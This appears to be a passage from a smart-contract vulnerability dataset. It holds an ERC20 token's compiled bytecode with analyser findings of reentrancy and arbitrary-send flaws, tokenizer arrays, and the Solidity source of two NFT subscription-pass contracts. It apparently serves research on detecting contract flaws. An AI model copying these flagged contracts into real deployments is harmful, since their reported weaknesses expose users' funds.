ffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612f98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990612eb8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114209190612ff8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612f78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150490612e78565b60405180910390fd5b60008111611550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154790612f58565b60405180910390fd5b611558610909565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c65750611596610909565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2957600f60179054906101000a900460ff16156117f9573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116fc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117f857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174261125a565b73ffffffffffffffffffffffffffffffffffffffff1614806117b85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a061125a565b73ffffffffffffffffffffffffffffffffffffffff16145b6117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90612fd8565b60405180910390fd5b5b5b60105481111561180857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ac5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119605750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ce5750600f60179054906101000a900460ff165b15611a6f5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1e57600080fd5b600a42611a2b919061312e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7a30610765565b9050600f60159054906101000a900460ff16158015611ae75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611aff5750600f60169054906101000a900460ff165b15611b2757611b0d81611db9565b60004790506000811115611b2557611b2447611c50565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd05750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bda57600090505b611be684848484612106565b50505050565b6000838311158290611c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2b9190612e56565b60405180910390fd5b5060008385611c43919061320f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ca06002846120bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ccb573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d1c6002846120bc90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d47573d6000803e3d6000fd5b5050565b6000600654821115611d92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8990612e98565b60405180910390fd5b6000611d9c612133565b9050611db181846120bc90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611df157611df06133e4565b5b604051908082528060200260200182016040528015611e1f5781602001602082028036833780820191505090505b5090503081600081518110611e3757611e366133b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ed957600080fd5b505afa158015611eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f11919061289d565b81600181518110611f2557611f246133b5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f8c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611262565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ff0959493929190613013565b600060405180830381600087803b15801561200a57600080fd5b505af115801561201e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561205457600090506120b6565b6000828461206291906131b5565b90508284826120719190613184565b146120b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a890612f18565b60405180910390fd5b809150505b92915050565b60006120fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215e565b905092915050565b80612114576121136121c1565b5b61211f8484846121f2565b8061212d5761212c6123bd565b5b50505050565b60008060006121406123cf565b9150915061215781836120bc90919063ffffffff16565b9250505090565b600080831182906121a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219c9190612e56565b60405180910390fd5b50600083856121b49190613184565b9050809150509392505050565b60006008541480156121d557506000600954145b156121df576121f0565b600060088190555060006009819055505b565b6000806000806000806122048761242e565b95509550955095509550955061226286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461249690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123438161253e565b61234d84836125fb565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123aa9190612ff8565b60405180910390a3505050505050505050565b60046008819055506004600981905550565b600080600060065490506000670de0b6b3a76400009050612403670de0b6b3a76400006006546120bc90919063ffffffff16565b82101561242157600654670de0b6b3a764000093509350505061242a565b81819350935050505b9091565b600080600080600080600080600061244b8a600854600954612635565b925092509250600061245b612133565b9050600080600061246e8e8787876126cb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124d883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bec565b905092915050565b60008082846124ef919061312e565b905083811015612534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252b90612ed8565b60405180910390fd5b8091505092915050565b6000612548612133565b9050600061255f828461204190919063ffffffff16565b90506125b381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124e090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126108260065461249690919063ffffffff16565b60068190555061262b816007546124e090919063ffffffff16565b6007819055505050565b6000806000806126616064612653888a61204190919063ffffffff16565b6120bc90919063ffffffff16565b9050600061268b606461267d888b61204190919063ffffffff16565b6120bc90919063ffffffff16565b905060006126b4826126a6858c61249690919063ffffffff16565b61249690919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126e4858961204190919063ffffffff16565b905060006126fb868961204190919063ffffffff16565b90506000612712878961204190919063ffffffff16565b9050600061273b8261272d858761249690919063ffffffff16565b61249690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612767612762846130ad565b613088565b9050808382526020820190508285602086028201111561278a57612789613418565b5b60005b858110156127ba57816127a088826127c4565b84526020840193506020830192505060018101905061278d565b5050509392505050565b6000813590506127d38161372e565b92915050565b6000815190506127e88161372e565b92915050565b600082601f83011261280357612802613413565b5b8135612813848260208601612754565b91505092915050565b60008135905061282b81613745565b92915050565b60008151905061284081613745565b92915050565b6000813590506128558161375c565b92915050565b60008151905061286a8161375c565b92915050565b60006020828403121561288657612885613422565b5b6000612894848285016127c4565b91505092915050565b6000602082840312156128b3576128b2613422565b5b60006128c1848285016127d9565b91505092915050565b600080604083850312156128e1576128e0613422565b5b60006128ef858286016127c4565b9250506020612900858286016127c4565b9150509250929050565b60008060006060848603121561292357612922613422565b5b6000612931868287016127c4565b9350506020612942868287016127c4565b925050604061295386828701612846565b9150509250925092565b6000806040838503121561297457612973613422565b5b6000612982858286016127c4565b925050602061299385828601612846565b9150509250929050565b6000602082840312156129b3576129b2613422565b5b600082013567ffffffffffffffff8111156129d1576129d061341d565b5b6129dd848285016127ee565b91505092915050565b6000602082840312156129fc576129fb613422565b5b6000612a0a8482850161281c565b91505092915050565b600060208284031215612a2957612a28613422565b5b6000612a3784828501612831565b91505092915050565b600060208284031215612a5657612a55613422565b5b6000612a6484828501612846565b91505092915050565b600080600060608486031215612a8657612a85613422565b5b6000612a948682870161285b565b9350506020612aa58682870161285b565b9250506040612ab68682870161285b565b9150509250925092565b6000612acc8383612ad8565b60208301905092915050565b612ae181613243565b82525050565b612af081613243565b82525050565b6000612b01826130e9565b612b0b818561310c565b9350612b16836130d9565b8060005b83811015612b47578151612b2e8882612ac0565b9750612b39836130ff565b925050600181019050612b1a565b5085935050505092915050565b612b5d81613255565b82525050565b612b6c81613298565b82525050565b6000612b7d826130f4565b612b87818561311d565b9350612b978185602086016132aa565b612ba081613427565b840191505092915050565b6000612bb860238361311d565b9150612bc382613438565b604082019050919050565b6000612bdb602a8361311d565b9150612be682613487565b604082019050919050565b6000612bfe60228361311d565b9150612c09826134d6565b604082019050919050565b6000612c21601b8361311d565b9150612c2c82613525565b602082019050919050565b6000612c44601d8361311d565b9150612c4f8261354e565b602082019050919050565b6000612c6760218361311d565b9150612c7282613577565b604082019050919050565b6000612c8a60208361311d565b9150612c95826135c6565b602082019050919050565b6000612cad60298361311d565b9150612cb8826135ef565b604082019050919050565b6000612cd060258361311d565b9150612cdb8261363e565b604082019050919050565b6000612cf360248361311d565b9150612cfe8261368d565b604082019050919050565b6000612d1660178361311d565b9150612d21826136dc565b602082019050919050565b6000612d3960118361311d565b9150612d4482613705565b602082019050919050565b612d5881613281565b82525050565b612d678161328b565b82525050565b6000602082019050612d826000830184612ae7565b92915050565b6000604082019050612d9d6000830185612ae7565b612daa6020830184612ae7565b9392505050565b6000604082019050612dc66000830185612ae7565b612dd36020830184612d4f565b9392505050565b600060c082019050612def6000830189612ae7565b612dfc6020830188612d4f565b612e096040830187612b63565b612e166060830186612b63565b612e236080830185612ae7565b612e3060a0830184612d4f565b979650505050505050565b6000602082019050612e506000830184612b54565b92915050565b60006020820190508181036000830152612e708184612b72565b905092915050565b60006020820190508181036000830152612e9181612bab565b9050919050565b60006020820190508181036000830152612eb181612bce565b9050919050565b60006020820190508181036000830152612ed181612bf1565b9050919050565b60006020820190508181036000830152612ef181612c14565b9050919050565b60006020820190508181036000830152612f1181612c37565b9050919050565b60006020820190508181036000830152612f3181612c5a565b9050919050565b60006020820190508181036000830152612f5181612c7d565b9050919050565b60006020820190508181036000830152612f7181612ca0565b9050919050565b60006020820190508181036000830152612f9181612cc3565b9050919050565b60006020820190508181036000830152612fb181612ce6565b9050919050565b60006020820190508181036000830152612fd181612d09565b9050919050565b60006020820190508181036000830152612ff181612d2c565b9050919050565b600060208201905061300d6000830184612d4f565b92915050565b600060a0820190506130286000830188612d4f565b6130356020830187612b63565b81810360408301526130478186612af6565b90506130566060830185612ae7565b6130636080830184612d4f565b9695505050505050565b60006020820190506130826000830184612d5e565b92915050565b60006130926130a3565b905061309e82826132dd565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c8576130c76133e4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313982613281565b915061314483613281565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317957613178613357565b5b828201905092915050565b600061318f82613281565b915061319a83613281565b9250826131aa576131a9613386565b5b828204905092915050565b60006131c082613281565b91506131cb83613281565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320457613203613357565b5b828202905092915050565b600061321a82613281565b915061322583613281565b92508282101561323857613237613357565b5b828203905092915050565b600061324e82613261565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a382613281565b9050919050565b60005b838110156132c85780820151818401526020810190506132ad565b838111156132d7576000848401525b50505050565b6132e682613427565b810181811067ffffffffffffffff82111715613305576133046133e4565b5b80604052505050565b600061331982613281565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334c5761334b613357565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61373781613243565b811461374257600080fd5b50565b61374e81613255565b811461375957600080fd5b50565b61376581613281565b811461377057600080fd5b5056fe42654072427269636b46616e73436c756220542e6d652f42656172427269636b546f6b656e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205c7e68be50a9df0bad633d7f07df58dbc5edfd38adcc529cbff517c73f0ce49764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 16048, 23833, 2581, 2050, 2683, 2050, 2629, 19797, 2546, 24594, 11387, 2497, 2692, 2620, 2497, 20952, 22407, 8586, 2620, 16409, 2497, 21619, 10354, 2581, 2050, 2683, 1013, 1008, 1008, 1013, 1008, 1010, 1010, 1008, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1008, 1010, 1010, 1012, 1008, 1008, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1008, 1008, 1010, 1013, 1008, 1010, 1008, 1013, 1013, 1008, 1008, 1008, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1008, 1008, 1010, 1012, 1008, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1008, 1008, 1013, 1013, 1008, 1008, 1010, 1013, 1008, 1012, 1010, 1008, 1008, 1008, 1008, 1008, 1008, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,167
0x96516C18a3Be6e036b364a916CEFD89e8f3Fa079
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./NFTYPass.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract NFTYBot is ERC721, ERC721Enumerable, Ownable { uint256 public initialPrice = 2 ether; uint256 public renewalPrice = 0.5 ether; uint256 public constant TOKEN_MAXIMUM = 256; bool public migration; bool public purchasable; string public baseURI; address private constant A = 0xc57112FB1872130A85ecF29877DD96042572a027; address private constant B = 0x69827Bf658898541380f78e0FBaF920ff020203b; mapping(uint256 => bool) public migrated; mapping(uint256 => uint256) public tokenExpiry; NFTYPass public legacyToken = NFTYPass(0x46C1d006e1f6611825cD448E1D49Cf660a2b79a1); constructor(string memory uri) ERC721("NFTYPass", "NFTY") { baseURI = uri; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function _isExpired(uint256 tokenId) internal view returns (bool) { return block.timestamp > tokenExpiry[tokenId]; } function _isTransferrable(uint256 tokenId) internal view returns (bool) { return (!_isExpired(tokenId) && (tokenExpiry[tokenId] - block.timestamp > 1 weeks)) || msg.sender == owner(); } function setURI(string calldata newuri) external onlyOwner { baseURI = newuri; } function setInitialPrice(uint256 price) external onlyOwner { initialPrice = price; } function setRenewalPrice(uint256 price) external onlyOwner { renewalPrice = price; } function toggleSale() external onlyOwner { purchasable = !purchasable; } function toggleMigration() external onlyOwner { migration = !migration; } function updateExpiryTime(uint256 tokenId, uint256 expiry) external onlyOwner { require(_exists(tokenId), "NFTYPass: Token does not exist"); tokenExpiry[tokenId] = expiry; } function transferLegacyOwnership(address newOwner) external onlyOwner { legacyToken.transferOwnership(newOwner); } function setExpiryTime(uint256 tokenId, uint256 time) external onlyOwner { require(_exists(tokenId), "NFTYBot: Token does not exist"); tokenExpiry[tokenId] = time; } function issueToken(address to) external onlyOwner { uint256 supply = totalSupply(); require(supply + 1 <= TOKEN_MAXIMUM, "NFTYBot: Exceeds supply maximum"); uint256 tokenId = supply + 1; tokenExpiry[tokenId] = block.timestamp + 30 days; _safeMint(to, tokenId); } function purchase() external payable { uint256 supply = totalSupply(); require(purchasable, "NFTYBot: Sale is not live"); require(msg.value >= initialPrice, "NFTYBot: Invalid ether amount"); require(supply + 1 <= TOKEN_MAXIMUM, "NFTYBot: Exceeds supply maximum"); uint256 tokenId = supply + 1; tokenExpiry[tokenId] = block.timestamp + 30 days; _safeMint(msg.sender, tokenId); } function migrate() external { require(migration, "NFTYBot: Migration must be enabled"); uint256 balance = legacyToken.balanceOf(msg.sender); while (balance > 0) { uint256 tokenId = legacyToken.tokenOfOwnerByIndex( msg.sender, balance - 1 ); require(!migrated[tokenId], "NFTYPass must not be migrated"); balance--; migrated[tokenId] = true; tokenExpiry[tokenId] = legacyToken.tokenExpiry(tokenId) + 1 weeks; legacyToken.setExpiryTime(tokenId, block.timestamp + 2 weeks); legacyToken.transferFrom(msg.sender, address(this), tokenId); legacyToken.setExpiryTime(tokenId, 0); _safeMint(msg.sender, tokenId); } } function renew(uint256 tokenId) external payable { require(_exists(tokenId), "NFTYBot: Token does not exist"); require(msg.value >= renewalPrice, "NFTYPass: Invalid ether amount"); if (_isExpired(tokenId)) { tokenExpiry[tokenId] = block.timestamp + 30 days; } else { tokenExpiry[tokenId] += 30 days; } } function expiryTime(uint256 tokenId) external view returns (uint256) { require(_exists(tokenId), "NFTYBot: Token does not exist"); return tokenExpiry[tokenId]; } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { require( _isTransferrable(tokenId), "NFTYBot: Token must have at least 1 week remaining" ); super._beforeTokenTransfer(from, to, tokenId); } function withdrawBalance() external onlyOwner { if (address(legacyToken).balance > 0) { legacyToken.withdrawBalance(); } uint256 share = address(this).balance / 2; (bool a, ) = A.call{value: share}(""); (bool b, ) = B.call{value: share}(""); require(a && b, "NFTYBot: Failed to withdraw"); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; contract NFTYPass is ERC721, ERC721Enumerable, Ownable { using Strings for uint256; using ECDSA for bytes32; uint256 public constant TOKEN_COST = 2 ether; uint256 public constant TOKEN_RENEWAL = 1 ether; uint256 public constant TOKEN_MAXIMUM = 512; uint256 public constant OWNER_MAX_MINT = 10; bool public frozen; bool public purchasable; string public baseURI; uint256 public ownerMint; address private constant A = 0xc57112FB1872130A85ecF29877DD96042572a027; address private constant B = 0x69827Bf658898541380f78e0FBaF920ff020203b; address private signerAddress; mapping(uint256 => uint256) public tokenExpiry; mapping(address => uint256) private presalePurchases; constructor() ERC721("NFTYPass", "NFTY") {} modifier onlyEOA() { require(msg.sender == tx.origin, "NFTYPass: EOA Only"); _; } function _isExpired(uint256 tokenId) internal view returns (bool) { return block.timestamp > tokenExpiry[tokenId]; } function purchase() external payable onlyEOA { uint256 supply = totalSupply(); require(!frozen, "NFTYPass: Contract frozen"); require(msg.value >= TOKEN_COST, "NFTYPass: Invalid ether amount"); require(purchasable, "NFTYPass: Sale is not live"); require( supply + 1 <= TOKEN_MAXIMUM, "NFTYPass: Exceeds supply maximum" ); require( balanceOf(msg.sender) == 0, "NFTYPass: One pass per individual" ); uint256 tokenId = supply + 1; tokenExpiry[tokenId] = block.timestamp + 30 days; _safeMint(msg.sender, tokenId); } function validatePresale(bytes calldata signature) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(msg.sender)) ) ); return signerAddress == hash.recover(signature); } function presale(bytes calldata signature) external payable onlyEOA { uint256 supply = totalSupply(); require(validatePresale(signature), "NFTYPass: Invalid Signature"); require(!frozen, "NFTYPass: Contract frozen"); require(msg.value >= TOKEN_COST, "NFTYPass: Invalid ether amount"); require( supply + 1 <= TOKEN_MAXIMUM, "NFTYPass: Exceeds supply maximum" ); require( presalePurchases[msg.sender] == 0, "NFTYPass: One pass per individual" ); uint256 tokenId = supply + 1; presalePurchases[msg.sender]++; tokenExpiry[tokenId] = block.timestamp + 30 days; _safeMint(msg.sender, tokenId); } function sendGift(address to) external onlyOwner { uint256 supply = totalSupply(); require(!frozen, "NFTYPass: Contract frozen"); require(purchasable, "NFTYPass: Sale is not live"); require( supply + 1 <= TOKEN_MAXIMUM, "NFTYPass: Exceeds supply maximum" ); require( ownerMint + 1 <= OWNER_MAX_MINT, "NFTYPass: Exceeds owner mint" ); require(balanceOf(to) == 0, "NFTYPass: One pass per individual"); uint256 tokenId = supply + 1; ownerMint++; tokenExpiry[tokenId] = block.timestamp + 30 days; _safeMint(to, tokenId); } function renew(uint256 tokenId) external payable { require(_exists(tokenId), "NFTYPass: Token does not exist"); require(msg.value >= TOKEN_RENEWAL, "NFTYPass: Invalid ether amount"); if (_isExpired(tokenId)) { tokenExpiry[tokenId] = block.timestamp + 30 days; } else { tokenExpiry[tokenId] += 30 days; } } function enablePurchases() external onlyOwner { require(!frozen, "NFTYPass: Contract frozen"); purchasable = true; } function freeze() external onlyOwner { require(!frozen, "NFTYPass: Contract frozen"); frozen = true; } function setSignerAddress(address signer) external onlyOwner { signerAddress = signer; } function setExpiryTime(uint256 tokenId, uint256 time) external onlyOwner { require(!frozen, "NFTYPass: Contract frozen"); require(_exists(tokenId), "NFTYPass: Token does not exist"); tokenExpiry[tokenId] = time; } function isExpired(uint256 tokenId) external view returns (bool) { require(_exists(tokenId), "NFTYPass: Token does not exist"); return _isExpired(tokenId); } function expiryTime(uint256 tokenId) external view returns (uint256) { require(_exists(tokenId), "NFTYPass: Token does not exist"); return tokenExpiry[tokenId]; } function _isTransferrable(uint256 tokenId) internal view returns (bool) { return !_isExpired(tokenId) && (tokenExpiry[tokenId] - block.timestamp > 1 weeks); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721, ERC721Enumerable) { require( _isTransferrable(tokenId), "NFTYPass: Token must have at least 1 week remaining" ); super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function setBaseURI(string calldata uri) external onlyOwner { require(!frozen, "NFTYPass: Contract frozen"); baseURI = uri; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function withdrawBalance() external onlyOwner { uint256 share = address(this).balance / 3; uint256 valueA = share * 2; uint256 valueB = share; (bool successA, ) = A.call{value: valueA}(""); (bool successB, ) = B.call{value: valueB}(""); require(successA && successB, "NFTYPass: Failed to withdraw"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; 